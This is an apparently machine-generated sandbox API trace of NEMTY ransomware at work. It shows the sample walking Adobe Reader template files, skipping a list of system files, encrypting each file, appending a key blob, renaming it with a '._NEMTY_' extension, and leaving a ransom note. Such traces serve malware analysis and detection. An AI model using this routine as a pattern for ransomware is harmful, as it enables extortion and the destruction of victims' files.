[0172.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.237] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0172.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.238] Sleep (dwMilliseconds=0x5) [0172.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a515370, dwHighDateTime=0x1d561e8)) [0172.254] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a515370, dwHighDateTime=0x1d561e8)) [0172.254] GetLastError () returned 0xb7 [0172.254] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.254] GetLastError () returned 0xb7 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.255] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.255] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.255] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.255] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="DsIrONayb76MxpaQB3xSfJA61aF65BGysLEl2tPWpzrXZ9uOQokE5UuIOyKKIHCf\r\nIeD8ofEvG61NJxXcp6dZGQsfFu2akXbo+vkmczsU7qAYucpoWH1Xq9CtEAWZMAZu\r\n8R7KQQaf0eGu4bF4gcjCcN7Fn/49p0eLlXFWPvxlWoz8sHIn03mv4GBNlgE//BS/\r\n5Q/GjvhA+HXiwUDyFzg8rG7zdBd/m7ztpC39X53I7Mqrp0jPRym14Cy8alMsPwyW\r\nj6aHF2LwOkET202soX+vrrV1XEBuN+l4a0N3jOef/oGYgqN7jEI0r3Lhs9ZQgTAg\r\nq0Uv8tjqIUur5eioO7QOWw==\r\n", pcchString=0x653e5dc) returned 1 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.255] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.255] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.255] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=67554) returned 1 [0172.255] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x107e0) returned 0x6352c48 [0172.255] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.256] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x107e0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x107e0, lpOverlapped=0x0) returned 1 [0172.267] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.267] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x107e0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x107e0, lpOverlapped=0x0) returned 1 [0172.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.268] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=67554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x107e2 [0172.268] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.268] CloseHandle (hObject=0x3b0) returned 1 [0172.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.268] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.268] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.268] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.268] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.288] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.288] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805b4280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x102c8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.288] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.289] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.289] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.289] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.289] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.289] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.289] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.289] Sleep (dwMilliseconds=0x5) [0172.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a587790, dwHighDateTime=0x1d561e8)) [0172.300] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a587790, dwHighDateTime=0x1d561e8)) [0172.300] GetLastError () returned 0x0 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.300] GetLastError () returned 0x0 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.300] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.300] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.300] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.300] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="FmEqgESXO4NGKSTo5NnxdgFCdSyH0B1NXKk3wLkHklQ018y1wP+eu1NWYHu2wtA7\r\n1hK/Vi65WGAZHG4vpwEeZIswgu0C+rIMwyfTjR2hZ6yhjPczH0rgv2FO8kBNB0NI\r\n0mvyrBmd1Kx3nmzYFUhhl7ygR0YDmtMvie7/DhuIgqYKtSNT36WxGqp7EuUTzWVK\r\nzwtWOV1tipJbG6kvRU3lMn9r6nxWiRYEicUf89X1UBxksE4lgVkZzFDdkHHKjpgQ\r\n8BbNDa+WCx1/BYKJgsK8L2wKsMLGwAxkc3QnZS2CK9C9xFnlI4pez6sGqJXwV1rz\r\nMka+xuiVk0seJJ6b0ANDsw==\r\n", pcchString=0x653e5dc) returned 1 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.300] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.300] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.301] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=66248) returned 1 [0172.301] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x102c0) returned 0x6352c48 [0172.301] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.301] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x102c0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x102c0, lpOverlapped=0x0) returned 1 [0172.307] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.307] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x102c0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x102c0, lpOverlapped=0x0) returned 1 [0172.307] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.307] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=66248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x102c8 [0172.307] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.307] CloseHandle (hObject=0x3b0) returned 1 [0172.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.307] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.307] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.308] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.308] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.308] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\SUO\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\suo\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.308] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.308] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a4c90b0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a4c90b0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a4c90b0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.308] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.308] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.308] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.308] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.309] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.309] 